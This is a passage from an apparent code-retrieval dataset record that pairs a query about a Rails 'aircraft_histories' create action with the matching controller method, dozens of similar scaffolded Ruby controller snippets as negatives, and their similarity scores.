"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @bowl = Bowl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bowl }\n end\n end",
"def new\n @rate_change_history = RateChangeHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rate_change_history }\n end\n end",
"def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal }\n end\n end",
"def new\n @actattribute = Actattribute.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @actattribute }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @last_hour = LastHour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @last_hour }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @neighborhood }\n end\n end",
"def new\n @cocktail_history = CocktailHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cocktail_history }\n end\n end",
"def new\n @hour_entry = HourEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hour_entry }\n end\n end",
"def new\n @house = House.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @house }\n end\n end",
"def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end",
"def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flight }\n end\n end",
"def create\n @historial = Historial.new(historial_params)\n\n respond_to do |format|\n if @historial.save\n format.html { redirect_to @historial, notice: 'Historial was successfully created.' }\n format.json { render :show, status: :created, location: @historial }\n else\n format.html { render :new }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @illness_history = current_user.illness_histories.new(params[:illness_history])\n\n respond_to do |format|\n if @illness_history.save\n flash[:notice] = 'IllnessHistory was successfully created.'\n format.html { redirect_to(medical_histories_path) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def new\n @army_list = ArmyList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @army_list }\n end\n end",
"def new\n @habit = Habit.new\n @statuses = get_status_dropdown\n @categories = get_category_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @habit }\n end\n end",
"def new\n @ambit = Ambit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ambit }\n end\n end",
"def new\n @inventario = Inventario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"def new\n @subscription_history = SubscriptionHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription_history }\n end\n end",
"def new\n @incident = Incident.new\n \n @title = \"New Incident\" \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incident }\n end\n end",
"def create\n @historial_odt = HistorialOdt.new(params[:historial_odt])\n\n respond_to do |format|\n if @historial_odt.save\n format.html { redirect_to @historial_odt, notice: 'Historial odt was successfully created.' }\n format.json { render json: @historial_odt, status: :created, location: @historial_odt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @historial_odt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @journalentry = Journalentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journalentry }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @eat = Eat.new\n @installation = Installation.find(params[:installation_id]) \n @neighborhoods = @installation.neighborhoods\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eat }\n end\n end",
"def new\n @flightline = Flightline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flightline }\n end\n end",
"def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end",
"def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n return unless has_permission :can_manage_aircraft\n @page_title = \"New Aircraft\"\n @aircraft = Aircraft.new\n end",
"def new\n @threat = Threat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @threat }\n end\n end",
"def new\n @exposure = Exposure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exposure }\n end\n end",
"def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end",
"def new\n @assistance_list = AssistanceList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assistance_list }\n end\n end",
"def new\n @oil = Oil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oil }\n end\n end",
"def new\n @oil = Oil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oil }\n end\n end",
"def new\n @military_history = MilitaryHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @military_history }\n end\n end",
"def new\n @changelog = Changelog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @changelog }\n end\n end",
"def new\n @story = Story.new\n @categories = Category.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @alfabe = Alfabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfabe }\n end\n end",
"def new\n @lablocational = Lablocational.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lablocational }\n end\n end",
"def new\n @analysis = Analysis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @analysis }\n end\n end",
"def new\n @lr70 = Lr70.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr70 }\n end\n end",
"def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end"
] |
[
"0.7092833",
"0.69028634",
"0.6814686",
"0.6809867",
"0.67817616",
"0.67567396",
"0.6713136",
"0.6688578",
"0.66781557",
"0.6595214",
"0.6587581",
"0.6546707",
"0.65267587",
"0.6519798",
"0.6519798",
"0.65143394",
"0.65130866",
"0.65061",
"0.6501725",
"0.647719",
"0.6475656",
"0.6442997",
"0.6441931",
"0.6425156",
"0.6409263",
"0.63979",
"0.63835263",
"0.6369442",
"0.6362363",
"0.6353821",
"0.63515127",
"0.63434047",
"0.6343093",
"0.6337933",
"0.6335705",
"0.63329333",
"0.63287497",
"0.6326042",
"0.6323368",
"0.6321273",
"0.6321262",
"0.6320367",
"0.6297185",
"0.6294268",
"0.62899834",
"0.62863636",
"0.62791795",
"0.6271355",
"0.6269735",
"0.6267199",
"0.62646514",
"0.62618345",
"0.62612194",
"0.62599564",
"0.6255703",
"0.62554467",
"0.62520254",
"0.6247048",
"0.62468576",
"0.6237351",
"0.62365574",
"0.623577",
"0.62356997",
"0.6229234",
"0.62277275",
"0.6226817",
"0.62237483",
"0.62219465",
"0.6216537",
"0.62143904",
"0.621372",
"0.6213325",
"0.62110126",
"0.62110126",
"0.6207408",
"0.62068117",
"0.6205667",
"0.6205667",
"0.62052715",
"0.62036264",
"0.62036264",
"0.61984676",
"0.6197497",
"0.6188582",
"0.6186808",
"0.6186467",
"0.6179828",
"0.61766",
"0.61766",
"0.61760134",
"0.6175181",
"0.6174543",
"0.617287",
"0.6172715",
"0.61707914",
"0.61680365",
"0.61632115",
"0.61607283",
"0.61607283",
"0.61607283"
] |
0.7760129
|
0
|
POST /aircraft_histories POST /aircraft_histories.xml
|
def create
@aircraft = Aircraft.find(params[:aircraft_id])
@aircraft_history = @aircraft.aircraft_histories.create(params[:aircraft_history])
redirect_to aircraft_path(@aircraft)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def new\n @aircraft_history = AircraftHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def create\n @historial_odt = HistorialOdt.new(params[:historial_odt])\n\n respond_to do |format|\n if @historial_odt.save\n format.html { redirect_to @historial_odt, notice: 'Historial odt was successfully created.' }\n format.json { render json: @historial_odt, status: :created, location: @historial_odt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @historial_odt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end",
"def create\n @historial = Historial.new(historial_params)\n\n respond_to do |format|\n if @historial.save\n format.html { redirect_to @historial, notice: 'Historial was successfully created.' }\n format.json { render :show, status: :created, location: @historial }\n else\n format.html { render :new }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @illness_history = current_user.illness_histories.new(params[:illness_history])\n\n respond_to do |format|\n if @illness_history.save\n flash[:notice] = 'IllnessHistory was successfully created.'\n format.html { redirect_to(medical_histories_path) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @historic = Historic.new(historic_params)\n\n respond_to do |format|\n if @historic.save\n format.html { redirect_to @historic, notice: 'Historic was successfully created.' }\n format.json { render :show, status: :created, location: @historic }\n else\n format.html { render :new }\n format.json { render json: @historic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @histroal = Historial.new(histroal_params)\n\n respond_to do |format|\n if @histroal.save\n format.html { redirect_to @histroal, notice: 'Historial was successfully created.' }\n format.json { render :show, status: :created, location: @histroal }\n else\n format.html { render :new }\n format.json { render json: @histroal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @historical = Historical.new(params[:historical])\n\n respond_to do |format|\n if @historical.save\n format.html { redirect_to @historical, notice: 'Historical was successfully created.' }\n format.json { render json: @historical, status: :created, location: @historical }\n else\n format.html { render action: \"new\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_to_historical(data_hash, title_number)\n\n response = rest_post_call($HISTORIAN_URL + '/' + title_number, data_hash.to_json)\n\n if (response.code != '200') then\n raise \"Failed to create the historical data: \" + response.body\n end\n\n return response.body\nend",
"def index\n @accessories = Accessory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accessories }\n end\n end",
"def create\n @water_history = WaterHistory.new(water_history_params)\n\n respond_to do |format|\n if @water_history.save\n format.html { redirect_to @water_history, notice: 'Water history was successfully created.' }\n format.json { render :show, status: :created, location: @water_history }\n else\n format.html { render :new }\n format.json { render json: @water_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @harvest_histories = HarvestHistory.all\n end",
"def index\n @airlines = Airline.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @airlines }\n end\n end",
"def index\n @area_histories = AreaHistory.all\n end",
"def index\n @water_histories = WaterHistory.all\n end",
"def create\n @harvest_history = HarvestHistory.new(harvest_history_params)\n\n respond_to do |format|\n if @harvest_history.save\n format.html { redirect_to @harvest_history, notice: 'Harvest history was successfully created.' }\n format.json { render :show, status: :created, location: @harvest_history }\n else\n format.html { render :new }\n format.json { render json: @harvest_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hpt_history = HptHistory.new(params[:hpt_history])\n\n respond_to do |format|\n if @hpt_history.save\n flash[:notice] = 'HptHistory was successfully created.'\n format.html { redirect_to(@hpt_history) }\n format.xml { render :xml => @hpt_history, :status => :created, :location => @hpt_history }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hpt_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @thermostat_histories = ThermostatHistory.all\n end",
"def show\n @aircraft_history = AircraftHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end",
"def create\n @article_history = ArticleHistory.new(article_history_params)\n\n respond_to do |format|\n if @article_history.save\n format.html { redirect_to @article_history, notice: 'Article history was successfully created.' }\n format.json { render :show, status: :created, location: @article_history }\n else\n format.html { render :new }\n format.json { render json: @article_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @article_histories = ArticleHistory.all\n end",
"def create\n @buying_history = BuyingHistory.new(params[:buying_history])\n\n respond_to do |format|\n if @buying_history.save\n format.html { redirect_to @buying_history, :notice => 'Buying history was successfully created.' }\n format.json { render :json => @buying_history, :status => :created, :location => @buying_history }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @buying_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @aircraft = Aircraft.new(aircraft_params)\n\n respond_to do |format|\n if @aircraft.save\n format.html { redirect_to @aircraft, notice: \"Aircraft was successfully created.\" }\n format.json { render :show, status: :created, location: @aircraft }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @aircraft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @node_histories = NodeHistory.all\n end",
"def create\n @settlement_history = Settlement::History.new(params[:settlement_history])\n\n respond_to do |format|\n if @settlement_history.save\n format.html { redirect_to @settlement_history, notice: 'History was successfully created.' }\n format.json { render json: @settlement_history, status: :created, location: @settlement_history }\n else\n format.html { render action: \"new\" }\n format.json { render json: @settlement_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @accessory = Accessory.new(params[:accessory])\n\n respond_to do |format|\n if @accessory.save\n flash[:notice] = 'Accessory was successfully created.'\n format.html { redirect_to(@accessory) }\n format.xml { render :xml => @accessory, :status => :created, :location => @accessory }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @accessory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @thermostat_history = ThermostatHistory.new(thermostat_history_params)\n\n respond_to do |format|\n if @thermostat_history.save\n format.html { redirect_to @thermostat_history.thermostat, notice: 'Thermostat history was successfully created.' }\n format.json { render action: 'show', status: :created, location: @thermostat_history }\n else\n @thermostats = Thermostat.all\n format.html { render action: 'new' }\n format.json { render json: @thermostat_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @apology = Apology.new(apology_params)\n\n respond_to do |format|\n if @apology.save\n format.html { redirect_to @apology }\n format.json { render :show, status: :created, location: @apology }\n else\n format.html { render :new }\n format.json { render json: @apology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agencium = Agencium.new(agencium_params)\n\n respond_to do |format|\n if @agencium.save\n format.html { redirect_to @agencium, notice: 'Agencium was successfully created.' }\n format.json { render :show, status: :created, location: @agencium }\n else\n format.html { render :new }\n format.json { render json: @agencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @pediatric_histories = PediatricHistory.all\n end",
"def create\n @operation_history = OperationHistory.new(params[:operation_history])\n\n respond_to do |format|\n if @operation_history.save\n format.html { redirect_to @operation_history, notice: 'Operation history was successfully created.' }\n format.json { render json: @operation_history, status: :created, location: @operation_history }\n else\n format.html { render action: \"new\" }\n format.json { render json: @operation_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @molpay_transaction_histories = MolpayTransactionHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @molpay_transaction_histories }\n end\n end",
"def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end",
"def index\n #@histories = History.all\n @histories = History.find( :all, :limit => 100, :order => \"id DESC\" )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"def historic_params\n params.require(:historic).permit(:description, :text, :disapeared_id, :date, :status_id)\n end",
"def create\n @weekly_histogram = WeeklyHistogram.new(weekly_histogram_params)\n\n respond_to do |format|\n if @weekly_histogram.save\n format.html { redirect_to @weekly_histogram, notice: 'Weekly histogram was successfully created.' }\n format.json { render :show, status: :created, location: @weekly_histogram }\n else\n format.html { render :new }\n format.json { render json: @weekly_histogram.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reading_history = @user.reading_histories.build(params[:reading_history])\n\n respond_to do |format|\n if @reading_history.save\n format.html { redirect_to '/', notice: 'new reading history was successfully added.' }\n format.json { render json: @reading_history, status: :created, location: @reading_history }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reading_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer = Customer.find(params[:customer_id])\n @historial = @customer.historial.new(historial_params)\n\n respond_to do |format|\n if @historial.save\n format.html { redirect_to @customer}\n format.json { render :show, status: :created, location: @historial }\n else\n format.html { render :new }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @hpt_history = HptHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hpt_history }\n end\n end",
"def create\n @auditorium = @theatre.auditoria.new(params[:auditorium])\n\n respond_to do |format|\n if @auditorium.save\n format.html { redirect_to [:admin, @theatre, @auditorium], notice: 'Auditorium was successfully created.' }\n format.json { render json: @auditorium, status: :created, location: @auditorium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @auditorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @aircraft_history = AircraftHistory.find(params[:id])\n @aircraft_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(aircraft_histories_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @ontology = SYMPH::Ontology.save(params[:ontology])\n \n respond_to do |format|\n if @ontology\n flash[:notice] = 'Ontology was successfully created.'\n else\n flash[:notice] = 'Failed on create ontology.'\n end\n format.html { redirect_to :action => :edit, :id => @ontology }\n format.xml { render :xml => @ontology, :status => :created, :location => @ontology }\n end\n end",
"def index\n @kondate_histories = KondateHistory.all\n end",
"def create\n @pediatric_history = PediatricHistory.new(pediatric_history_params)\n\n respond_to do |format|\n if @pediatric_history.save\n format.html { redirect_to @pediatric_history, notice: 'Historial pediatrico creado con exito.' }\n format.json { render :show, status: :created, location: @pediatric_history }\n else\n format.html { render :new }\n format.json { render json: @pediatric_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@fundamentals_history = FundamentalsHistory.new\n @fundamentals_history = @company.fundamentals_histories.build(params[:fundamentals_history])\n\n respond_to do |format|\n if @fundamentals_history.save\n format.html { redirect_to @fundamentals_history, notice: 'Fundamentals history was successfully created.' }\n format.json { render json: @fundamentals_history, status: :created, location: @fundamentals_history }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fundamentals_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @historics = Historic.all\n end",
"def create\n @accessory = Accessory.new(params[:accessory])\n\n if @accessory.save\n render json: @accessory, status: :created, location: @accessory\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end",
"def index\n @points_histories = PointsHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @points_histories }\n end\n end",
"def post_inventories(name,description, organization=1,variables='')\n dprint \"/api/v1/hosts\"\n resp = @rest['/api/v1/hosts'].post({\n :name => name,\n :description => description,\n :organization => organization,\n :variables => variables\n })\n dprint resp\n\n #[XXX] Theoretical what this is at this point - need to see \n # actual response\n JSON.parse(resp)[\"results\"]\n end",
"def create\n @album = Album.new(album_params)\n @album.user_id = current_user.id\n\n respond_to do |format|\n if @album.save\n @album.update_histories.create(user_id: current_user.id, action_type: UpdateHistory::ALBUM_CREATE)\n format.html { redirect_to @album, notice: 'アルバムを作成しました。' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end",
"def index\n @weight_histories = WeightHistory.all\n end",
"def create\n @airline = Airline.new(params[:airline])\n\n respond_to do |format|\n if @airline.save\n format.html { redirect_to(@airline, :notice => 'Travel form was successfully created.') }\n format.xml { render :xml => @airline, :status => :created, :location => @airline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @airline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(atom)\n @hive_party.post '/atoms', atom.to_h\n end",
"def create\n @airport = Airport.find(params[:airport_id])\n @airport_visit = @airport.airport_visits.create(params[:airport_visit])\n redirect_to airport_path(@airport)\n end",
"def index\n @historials = Historial.all\n end",
"def index\n @historials = Historial.all\n end",
"def index\n @historials = Historial.all\n end",
"def create\n @area_history = AreaHistory.new(area_history_params)\n\n respond_to do |format|\n if @area_history.save\n respond_if_is_true_web(@area_history, 'Area history was successfully created.', :show, :created, @area_history)\n else\n respond_if_is_false_web(:new, :unprocessable_entity, @area_history.errors, :unprocessable_entity)\n end\n end\n end",
"def new\n @historial_odt = HistorialOdt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial_odt }\n end\n end",
"def index\n @dating_histories = DatingHistory.all\n end",
"def create\n @ontology = Ontology.new(ontology_params)\n\n respond_to do |format|\n if @ontology.save\n format.html { redirect_to @ontology, notice: 'Ontology was successfully created.' }\n format.json { render :show, status: :created, location: @ontology }\n else\n format.html { render :new }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hikiyama = Hikiyama.new(params[:hikiyama])\n\n respond_to do |format|\n if @omatsuri.hikiyamas << @hikiyama\n flash[:notice] = 'Hikiyama was successfully created.'\n format.html { redirect_to(@omatsuri) }\n format.xml { render :xml => @hikiyama, :status => :created, :location => @omatsuri }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hikiyama.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @az_tariff = AzTariff.new(params[:az_tariff])\n\n respond_to do |format|\n if @az_tariff.save\n format.html { redirect_to(@az_tariff, :notice => 'AzTariff was successfully created.') }\n format.xml { render :xml => @az_tariff, :status => :created, :location => @az_tariff }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @az_tariff.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @board = Board.new(board_params)\n @board.user_id = current_user.id\n\n respond_to do |format|\n if @board.save\n @board.update_histories.create(user_id: current_user.id, action_type: UpdateHistory::BOARD_CREATE)\n format.html { redirect_to(@board, :notice => '作成しました') }\n format.xml { render :xml => @board, :status => :created, :location => @board }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @board.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @airport = Airport.new(params[:airport])\n\n respond_to do |format|\n if @airport.save\n format.html { redirect_to @airport, notice: 'Airport was successfully created.' }\n format.json { render json: @airport, status: :created, location: @airport }\n else\n format.html { render action: \"new\" }\n format.json { render json: @airport.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @observation_home_element = ObservationHomeElement.new(params[:observation_home_element])\n\n respond_to do |format|\n if @observation_home_element.save\n format.html { redirect_to @observation_home_element, notice: 'Observation home element was successfully created.' }\n format.json { render json: @observation_home_element, status: :created, location: @observation_home_element }\n else\n format.html { render action: \"new\" }\n format.json { render json: @observation_home_element.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hr = Hr.new(params[:hr])\n\n respond_to do |format|\n if @hr.save\n format.html { redirect_to(@hr, :notice => 'Hr was successfully created.') }\n format.xml { render :xml => @hr, :status => :created, :location => @hr }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hr.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @airline = Airline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @airline }\n end\n end",
"def index\n @sales_tax_exemption_customer_histories = SalesTaxExemptionCustomerHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_tax_exemption_customer_histories }\n end\n end",
"def perform\n histories << SearchTermHistory.create\n touch # updated_at does not update automatically...\n end",
"def index\n AnalyticsEvent.create(remote_ip: request.remote_ip,\n device: @device,\n type: :available_awards,\n timestamp: Time.now,\n app_id: params[:app_id],\n device_token_id: params[:security_token],\n player_id: params[:player_id])\n\n awards = Array.new\n all_awards = Award.where({:app_id => params[:app_id], :player_id => params[:player_id], :device_id => nil})\n all_awards.each do |a|\n awards.push(a.id)\n end\n render :json => {\"status\" => \"OK\", \"awards\" => awards}\n end",
"def create\n @item_history = BmetItemHistory.new(item_history_params)\n\n respond_to do |format|\n if @item_history.save\n format.html { redirect_to @item_history, notice: 'Item history was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_history }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hability = Hability.new(hability_params)\n\n respond_to do |format|\n if @hability.save\n format.html { redirect_to @hability, notice: 'Hability was successfully created.' }\n format.json { render :show, status: :created, location: @hability }\n else\n format.html { render :new }\n format.json { render json: @hability.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @aircraft_history = AircraftHistory.find(params[:id])\n\n respond_to do |format|\n if @aircraft_history.update_attributes(params[:aircraft_history])\n format.html { redirect_to(@aircraft_history, :notice => 'Aircraft history was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aircraft_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @answer_histories = AnswerHistory.all\n @answer_history = AnswerHistory.new\n end",
"def create\n @laptop_history = LaptopHistory.new(laptop_history_params)\n\n respond_to do |format|\n if @laptop_history.save\n format.html { redirect_to @laptop_history, notice: 'Laptop history was successfully created.' }\n format.json { render action: 'show', status: :created, location: @laptop_history }\n else\n format.html { render action: 'new' }\n format.json { render json: @laptop_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @attendance_histories = AttendanceHistory.all\n end",
"def index\n @formating_histories = FormatingHistory.all\n end",
"def create\n @astronomium = Astronomium.new(astronomium_params)\n\n respond_to do |format|\n if @astronomium.save\n format.html { redirect_to @astronomium, notice: 'Astronomium was successfully created.' }\n format.json { render :show, status: :created, location: @astronomium }\n else\n format.html { render :new }\n format.json { render json: @astronomium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # FIXME: If failed to create history, dont create concrete_history.\n concrete_history = concrete_history(\n history_params[:concrete_history].permit(concrete_history_params)\n )\n @history = History.new(\n card_id: history_params[:card_id],\n concrete_history: concrete_history\n )\n\n respond_to do |format|\n if @history.save\n format.html { redirect_to @history, notice: 'History was successfully created.' }\n format.json {\n render 'show', format: 'json', handlers: 'jbuilder', status: :created\n }\n else\n format.html { render :new }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @housing = Housing.new(params[:housing])\n\n respond_to do |format|\n if @housing.save\n flash[:notice] = 'Housing was successfully created.'\n format.html { redirect_to(@housing) }\n format.xml { render :xml => @housing, :status => :created, :location => @housing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @housing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def historial_params\n params.require(:historial).permit(:alum_id, :mat_id, :calif_1, :calif_2, :calif_3, :final, :ext_1, :ext_2, :esp)\n end",
"def index\n @q = Foodhistory.ransack(params[:q])\n @foodhistories = @q.result\n end",
"def index\n @installation = Installation.find(params[:installation_id]) \n @eats = @installation.eats.find(:all, :order => 'name')\n \n @neighborhoods = @installation.neighborhoods\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eats }\n end\n end",
